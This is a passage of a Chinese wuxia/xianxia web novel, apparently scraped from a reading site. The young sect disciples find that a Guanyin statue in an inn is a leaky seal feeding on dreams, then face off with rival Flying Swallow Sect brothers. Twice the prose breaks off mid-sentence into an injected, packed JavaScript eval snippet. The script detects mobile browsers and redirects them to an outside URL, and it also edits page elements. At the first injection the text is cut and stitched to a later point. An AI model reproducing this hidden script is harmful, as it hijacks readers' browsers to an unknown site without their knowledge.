他坐在那里,脑子里乱成一锅粥。 昨晚……他真的下楼了吗? 那些画面还在——神龛、黑光、蛇一样的眼睛、按在肩膀上的手、楼上叶傅宁那一声“吵什么”——每一个细节都清清楚楚,像刻在脑子里。 可他为什么靠在门板上睡着了?如果昨晚真的跑回来了,为什么不爬到床上?如果昨晚真的被吓成那样,为什么师兄一点都没醒? 他攥紧杯子,指节微微泛白。 祁燕雪站在旁边,安静地看着他,什么都没问。过了一会儿,他伸手,把沈怀逸手里的杯子拿走,放在桌上。 “再躺一会儿吧。”他说,“早饭我给你端上来。” 沈怀逸抬起头,对上那双稳稳当当地双眸,像在说“我在这儿,没事”。 他鼻子忽然有点酸:“……嗯。”他低下头,脱了鞋,钻进被子里。被子是凉的,他蜷起腿,把自己缩成一团。 祁燕雪帮他把被角掖好,又在床边站了一会儿,确认他闭上眼睛,才轻手轻脚地出了门。 门关上的声音很轻,像怕惊着什么。 沈怀逸躺在黑暗里,盯着帐幔,脑子里那尊观音像的脸又浮上来。他使劲闭了闭眼,把它甩出去。 是梦吗? 他翻了个身,把脸埋进枕头里。 可那掌心的疼,到现在还记得。 祁燕雪下楼的时候,叶傅宁和陆瑶卿已经在桌边坐着了。陆瑶卿照例挨着叶傅宁,整个人几乎贴在她身上,看见祁燕雪一个人下来,眉头微微挑了一下。 “怀逸呢?”叶傅宁问。 “没睡好。”祁燕雪在她对面坐下,顿了顿,又补了一句,“靠着门睡了一夜。” 叶傅宁的筷子停在半空。 “靠着门?”她放下筷子,“怎么回事?” 祁燕雪摇摇头:“他不肯说。只说做了个梦。” 叶傅宁看了他一眼,又看了看楼上,没再追问。但陆瑶卿注意到,她夹菜的动作慢了下来,眼神也飘了,像是在想什么事。 早饭快吃完的时候,沈怀逸才从楼上下来。他脸色还是不太好,眼底的青黑没消,整个人蔫蔫的,像被霜打过的叶子。 妇人看见他这副模样,心疼得不行,又给他盛了一碗粥,又往他手里塞了个包子,嘴里念叨着“是不是床不舒服”“要不要换个被子”。沈怀逸勉强笑了笑,低头喝粥,没说话。 叶傅宁等他喝了几口,才开口:“今天再去查查。” 沈怀逸抬起头。 “昨天前院后院都看过了,没什么发现。”叶傅宁压低声音,“今天去他们房间里看看。” 沈怀逸却犹豫了:“万一被发现了……” “发现了就说想借个针线。”叶傅宁面不改色,“我衣裳昨天刮了个口子,找嫂子借针线缝补,天经地义。” 沈怀逸愣了一下,低头看了看她那身衣裳——完好无损,连个线头都没起。 但叶傅宁已经站起来,整了整衣襟,一副“就这么定了”的架势。他张了张嘴,把到嘴边的话咽了回去。 算了,她说什么就是什么吧。 掌柜夫妇的房间在一楼最里头,挨着厨房。 上午这会儿,妇人正在厨房里洗碗,掌柜的在后院劈柴——昨天祁燕雪劈的那些显然不够用,他又自己干上了。叶傅宁带着三人轻手轻脚摸到门口,推了一下,门没锁。 房间不大, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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是假的。那尊观音像是假的。那个云游师傅是假的。他们每天在梦里见到的儿子,也是假的。 可他们不知道。他们以为那是老天保佑,以为那是儿子回来看他们了,以为只要诚心供奉,就能一直梦见他。 可那不是什么保佑,那是笼子。那尊佛像就是个笼子,里面的东西每天夜里钻出来,钻进他们的梦里,还让他们以为是见到了儿子。 他猛地抬头,声音都变了调:“叶傅宁!” 叶傅宁正在翻衣柜,被他这一嗓子吓了一跳,转头看见他脸色煞白。 “那尊佛像!”沈怀逸的声音又急又紧,“有问题!昨晚我看到它发光!那光是从它里面出来的,像活的一样,往我脚上爬!我动不了,喊不出来!老板娘说梦见儿子,梦太真,醒来累——那不是梦,是那东西在吃他们的梦!那孩子说的楼下有东西,就是那个!” 他越说越快,说到最后自己都觉得语无伦次,可他停不下来。那些画面、那些话、那些昨晚怎么都想不明白的事,现在全涌上来,堵在喉咙里,不吐不快。 叶傅宁没有打断他。她听他说完,看着他攥着纸发抖的手,看着他煞白的脸,看着他眼底那片没睡好的青黑——然后她点了点头。 “走。”她说,“去看看那尊佛像。” 她甚至没有问他“你确定吗”。沈怀逸愣了一下,跟上去,心里忽然就安了那么一点。 大堂里空荡荡的,阳光从门口照进来,把桌椅的影子拉得又长又淡。神龛就在柜台后面,那尊观音像安安静静地立着,眉眼低垂,嘴角含笑,慈眉善目。 叶傅宁快步走过去,在神龛前站定。 就在这时,后院的门响了。 掌柜的从前院回来了,手里拎着斧头,看见四个人齐刷刷站在柜台前,愣了一下,随即笑起来:“几位客官,找什么呢?” 他的笑容还是那样和气,声音还是那样热情。但沈怀逸看见他手里的斧头,后背的汗毛一下子就竖了起来。 本回正是: 深宵遇祟魂欲断, 匣中旧纸揭谜团。 神龛含笑慈眉目—— 一声“客官”胆已寒。 各位客官欲知后事如何,掌柜夫妇手中的斧头会落下吗?那尊佛像底下究竟藏着什么?且听下回分解! 31.妖佛未除门客至,双燕临门气势汹。 接上回: 叶傅宁转过身,脸上堆起笑:“掌柜的,我们就是随便看看,这尊佛像挺有意思的……” “哦,那个啊。”掌柜的摆摆手,把斧头靠在门边,“那是好几年前一个云游师傅送的,说是能保平安。我们供了好几年了,灵得很。” 他说着,往这边走了两步。 叶傅宁还在笑,但沈怀逸看见她的手已经背到身后,悄悄握成了拳。陆瑶卿往她身边靠了靠,祁燕雪也微微侧过身,挡在她和掌柜之间。 掌柜的又走了两步。 “几位要是感兴趣,我可以给你们讲讲。那师傅来的时候啊……” “掌柜的。”叶傅宁忽然开口,声音还是很稳,但笑容收了。 掌柜的停下脚步,看着她。 叶傅宁看了他一眼,又看了一眼他身后的厨房门口——妇人不知什么时候也出来了,正站在那儿,手上还沾着水,一脸疑惑地看着他们。 她叹了口气。 一步,抬手,落下。 掌柜的甚至没来得及“啊”一声,眼睛一翻,人就软下去了。靠在门边的斧头被他的肩膀撞倒,“哐当”一声砸在地上,在安静的厅堂里炸开一声巨响。 妇人愣住了。她站在厨房门口,看着自己的男人倒在地上,脸上的疑惑还没来得及变成恐惧,就看见叶傅宁已经转过身来。 “对不住了。”叶傅宁说。 然后抬手,落下。 妇人靠在门框上,眼睛慢慢合上,身子顺着门框滑下去,和掌柜的并排躺在地上,安安静静的,像只是睡着了。 大堂里安静得可怕。 沈怀逸愣在原地,好一会儿才找回自己的声音:“你、你——” “先打晕再说。”叶傅宁蹲下来探了探两人的鼻息,确认只是晕了,才站起来,“等他们醒了再解释。” 沈怀逸想说“万一不是他们的问题呢”,但话到嘴边又咽回去了。昨晚那道光是真的,那孩子的话是真的,那尊佛像……他转头看向神龛,那尊观音像还立在那儿,眉眼低垂,嘴角含笑,和刚才一模一样。 陆瑶卿已经走到神龛前了。她没有伸手碰,只是凑近了看,目光在那张脸上来回扫了好几遍:“姐姐,”她忽然开口,“这佛像,我能拿下来吗?” “小心点。”叶傅宁说。 陆瑶卿伸手,把那尊佛像从神龛里取了出来。它比她想象中沉,不是木头的手感,更像是……石头?她把它翻过来,底座朝上,那些模糊的纹路在日光下看得很清楚。 不是什么吉祥图案,是一圈一圈的,像水波纹,又像某种她不认识的符文,刻得极细,密密匝匝地绕了好几圈。 她盯着那些纹路看了一会儿,眉头越皱越紧。 “我在师傅的书里见过这种符。”她终于开口,声音很轻,但每个字都咬得很清楚,“封禁符的一种。但不是封东西的,是……”她顿了顿,似乎在找词,“是把东西锁在里面,又让里面的东西能漏出来。像笼子。关着东西,又留了缝,让它的手能往外伸。” 祁燕雪微微蹙眉:“正经封印呢?” “不留缝。”陆瑶卿说,“正经封印是封死的,里面的东西出不来,外面的东西进不去。但这个不是,它是故意留了缝。”她翻来覆去地看着那尊佛像,手指顺着纹路摸了一圈,神色认真。 沈怀逸的呼吸停了一瞬。 昨晚那道光,那按在肩膀上的手,那往骨头缝里钻的凉意——就是从这条缝里伸出来的。 叶傅宁的脸色彻底沉了下来。她接过那佛像自己查看起来。正要开口,就听见门外传来一阵嘈杂声。 马蹄声——很多马蹄声,从镇口方向过来,越来越近,越来越响。夹杂着人声,吆喝的、喊话的,还有金属碰撞的脆响,在安静的镇子上空炸开,像一盆冷水泼进了油锅。 叶傅宁猛地抬头,把佛像往陆瑶卿手里一塞:“收好。” 然后她转身,两步走到门口,透过门缝往外看了一眼。 镇口的青石板路上,一队人马正朝客栈方向来。为首的是两匹高头大马,一匹通体雪白,一匹深棕近黑。 马上的人穿着统一的黑衣,腰间佩剑,袖口绣着一只展翅的飞燕。队伍不长,七八个人,但气势压得很足,马蹄踏在石板路上,溅起一路尘土。 飞燕门。 叶傅宁的眉头皱了起来。她回头看了一眼躺在地上的掌柜夫妇,又看了一眼对面,祁燕雪正站在她前面,神色严肃的往外看。 “小雪,”她压低声音,“你和怀逸把这两个人抬到楼上去。别让他们醒过来乱说话。” 她又转头看向陆瑶卿:“瑶瑶你在此处不要动,收好这佛像,再仔细看看。” 祁燕雪没问为什么,立刻和沈怀逸一人一个,把掌柜夫妇抬上了楼。陆瑶卿抱着那尊佛像,站在叶傅宁身边,点了点头,小脸绷得紧紧的。 叶傅宁整了整衣襟,推开大门,走了出去。 马蹄声在客栈门口停了。 为首那匹白马上的年轻人翻身下马,动作干净利落,他穿着一身亮红色的劲装,衣料在日光下泛着微微的光泽,袖口和领口用金线绣着飞燕纹,腰佩一柄窄刃长剑,剑鞘上镶着一颗暗红色的宝石。 一头墨发用发冠高高束起,扎成一个利落的马尾,露出线条凌厉的下颌,整个人像一柄出鞘的剑,锋芒毕露。 他生得很好看——剑眉星目,鼻梁高挺,下颌线条利落得像刀裁出来的。但那张脸上没有笑容,眉眼间带着一股与生俱来的凌厉,看人的时候微微抬着下巴,像是在打量什么不太值钱的东西。 另一个骑深棕色马的年轻人也下了马。他和前面那个长得有七八分相似——柔和的眉眼,同样的轮廓,更单薄的身量。 但他的气质截然不同。暗红色的长袍比前面那个的亮红色内敛得多,衣料柔软,剪裁合身,衬得整个人温润如玉。 他的头发比兄长留得长些,用同款发冠束起,但只束了上半部分,下半部分松松地披在肩后,几缕碎发垂落颊边,被风拂过,平添几分温柔。 他腰间没有佩剑,只别着一把折扇,扇骨是暗红色的,扇面素白,隐约能看见几笔水墨。他脸上带着淡淡的笑意,看人的时候目光很平和,像是什么都不在意,又像是什么都看在眼里。 两人并肩站在客栈门口,像两团烧在午后的火——一个烧得烈,一个烧得稳。 亮红色那个往前迈了一步,目光在叶傅宁身上扫了一圈,从她脸上的胭脂扫到她脚上的布鞋,又从她脚上的布鞋扫回她脸上的胭脂。嘴角微微动了一下,像是想说什么,又咽回去了。 “飞燕门办案。”他的声音不大,但很沉,带着不容置疑的力度,“这家客栈,我们接手了。” 叶傅宁靠在门框上,双手抱胸,上下打量了他一眼:“接手?我们还没办完呢。” “你们办不完了。”那人的语气平淡得像在说今天天气不错,“这案子我们查过了,问题就出在这家客栈。里面的人,我们要带走。客栈,要烧。” 叶傅宁挑眉:“烧?” “烧。”他重复了一遍,连眼皮都没眨。 叶傅宁盯着他看了两秒,忽然笑了。不是那种开心的笑,是那种“你怕不是来搞笑的”的笑。 “这位公子,”她慢悠悠地开口,“你知道什么叫先来后到吗?这个任务,是我们玄苍派先接的。人,是我们先查的。案子,是我们先办的。你飞燕门就算再厉害,也得讲个道理吧?” 那人的眉头微微动了一下,像是没料到她会这么说。他看了她一眼,又看了一眼她身后那间安静的客栈,嘴唇动了动,刚要开口,旁边那个暗红色的年轻人忽然上前一步。 “叶姑娘。”他的声音很轻,很温和,像是怕惊着什么似的。 叶傅宁愣了一下,转头看他。 那人微笑着,目光落在她脸上,像是在确认什么,又像是在回忆什么。他看得很仔细,从她的眉眼看到她的嘴角,又从她的嘴角看回她的眉眼,眼底带着一种说不清道不明的东西。 “好久不见。”他说。 叶傅宁一愣,随即皱起眉头。 他叫她叶姑娘。不是“这位姑娘”,不是“玄苍派的”,是“叶姑娘”。他知道她姓什么。 叶傅宁盯着那张脸看了好一会儿,脑子里翻遍了所有记忆,也没找到和这张脸对得上号的人。长得挺好看的,确实挺好看的,但——不认识。 “我们认识吗?”她问。 暗红那位笑了一下,那笑容里有一种说不清道不明的东西,像是怀念,又像是别的什么。但他没有解释,只是说:“久仰大名。” 叶傅宁不信。久仰大名不是这个眼神。这人认识她,但她不认识他。这个认知让她很不舒服,像被人占了便宜。 “别攀关系。”她说,语气比刚才硬了,“要烧客栈,行。连我一起烧。” 她站在客栈门口,背脊挺得笔直,阳光落在她身上,把那身过时的藕荷色碎花裙都照出了几分气势。 那人的笑容微微僵了一下。 亮红色那个倒是笑了。不是被逗笑的,是那种“行,你有种”的笑。他重新打量了叶傅宁一眼,这回看得比刚才仔细,目光在她脸上停了一会儿,又落在她腰间那条藏剑的布条上。 “你是玄苍派竹宗的?”他问。 “不错,”她扬了扬下巴,慢悠悠地开口,“本姑娘正是玄苍派竹宗大弟子叶傅宁。你哪位?报个名号,让姑奶奶听听。” 那人的眉头猛地皱了起来。他大概没怎么被人当面叫过“姑奶奶”,脸上的表情有一瞬间的扭曲,像是想发火又觉得发火太掉价。 但他还是报了。 “飞燕门大弟子,霍起云。”他的声音硬邦邦的,每个字都像是从牙缝里挤出来的,腰背挺得笔直,下巴微微抬着,像是不愿意在她面前失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418199|198681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了气势。 他说完,顿了顿,又补了一句,语气里带着一股压着的火气:“你最好记住。” 旁边那个暗红色的年轻人忽然上前一步,微笑着冲叶傅宁拱了拱手。 “飞燕门,霍行之。”他的声音很轻,很温和,“二弟子。叶姑娘,久仰。” 叶傅宁看了霍行之一眼——他还是那样微笑着,温和得滴水不漏,但那双眼睛一直在看她,看得她有点不舒服。 “不管你们是谁,”她收回目光,语气硬了几分,“这案子是我们先接的。人是我们先查的。你们飞燕门再厉害,也不能不讲规矩。” 霍起云的眉头皱了起来。他往前走了一步,声音低了几分,带着一股压着的火气:“叶傅宁,你知道这客栈里的人做了什么吗?全镇三十五户人家,户户有人中招,整夜噩梦,精神恍惚,已经死了好几个了。凶手就在这间客栈里,你还要护着?” “谁说我护着了?”叶傅宁没退,连姿势都没变,“我在查。查清楚了,该抓的抓,该办的办。但你不能什么都没查清楚就烧。” “查?”霍起云冷笑了一声,“你们查了两天,查出了什么?” 叶傅宁张了张嘴,想说“查出来了”,但话到嘴边又咽回去了。 她确实查出来了,但那尊佛像还在陆瑶卿手里,那些红绳和符纸还在沈怀逸怀里,她还没来得及整理,还没来得及验证,还没来得及……什么都还没来得及。 她想起今早飞燕门的人肯定先去镇上打听过,那些镇民早就对客栈恨之入骨,又看见他们四个在这住了两天什么都没干,嘴里能吐出什么好话?怕是已经把“玄苍派和客栈同流合污”这种话都说出来了。 霍起云看着她沉默的样子,那点冷笑慢慢收了起来,眼底多了一丝不耐。 “镇里的人已经指认了。”他说,“这家客栈的掌柜夫妇,早就不对劲了。全镇就他们没事,不是他们还能是谁?你们玄苍派要是查不了,就别占着位置。” 叶傅宁的眼睛眯了起来。 与此同时,二楼。 祁燕雪站在走廊的栏杆边,往下看。 他刚把掌柜的安顿好,正准备下楼,就看见叶傅宁站在门口,面前站着两个穿红衣服的男人,他们身后又站了一帮。 离得有点远,他看不太清那两个人的脸,只能看见两团模糊的红色,一深一浅,并肩而立。 他眯了眯眼,近视的毛病在这种时候格外烦人。 “怀逸。”他转头喊了一声。 沈怀逸从房间里探出头:“怎么了?” “你来看看楼下。”祁燕雪指了指门口,“师姐在和两个长的一模一样的男人说话。” 沈怀逸走过来,眯着眼往下看了半天,眉头皱成一团:“好像是两个人?长得有点像?” 祁燕雪点了点头。他也有这种感觉——那两团红色的轮廓,大小差不多,身形差不多,连站姿都差不多。 “什么人?”沈怀逸问。 祁燕雪摇了摇头,没说话。他往下又看了一眼,正好看见叶傅宁往后退了半步,一副“我不怕你”的架势。 而那两个穿红衣服的人,其中一个往前迈了一步,离她更近了。 他的手不自觉地攥紧了栏杆。 楼下,霍行之忽然开口。 “兄长,”他的声音很轻,像是在商量,又像是在提醒,“叶姑娘说得也有道理。这案子是玄苍派先接的,我们贸然接手,确实于理不合。” 霍起云转头看了他一眼,眉头皱得更紧了。 这小子,怎么突然把胳膊肘往外拐? 霍行之微笑着,不急不慢地继续说:“何况叶姑娘她们已经查了两天,想必也有了些眉目。不如再给他们一点时间,半个时辰——不,一个时辰。一个时辰后,无论结果如何,我们再商量。” 他说“商量”的时候,语气很软,像是真的在商量。但霍起云听出了那层软底下的硬——他是认真的。 霍起云盯着他看了好一会儿,又转头看了看叶傅宁。叶傅宁还是那副样子,靠在门框上,不卑不亢地看着他。 他深吸了一口气,又缓缓吐出来:“半个时辰。”他说,声音硬邦邦的,“半个时辰后,不管你们查没查完,这客栈必须烧。” 叶傅宁看了他一眼,又看了一眼他身后那个始终微笑着的弟弟,点了点头:“行。半个时辰。” 然后她转身,推开门,走了进去。 门在她身后关上的那一刻,她听见霍起云在外面说了一句:“把客栈围起来,看紧点,别让任何人进出。” 本回正是: 妖佛未除门客至, 双燕临门气势汹。 旧识不识当年客, 半炷香里定存亡。 各位客官欲知后事如何,那尊邪佛究竟藏着什么秘密?半个时辰后这客栈是烧是留?飞燕门能否遵守约定安分守己?且听下回分解!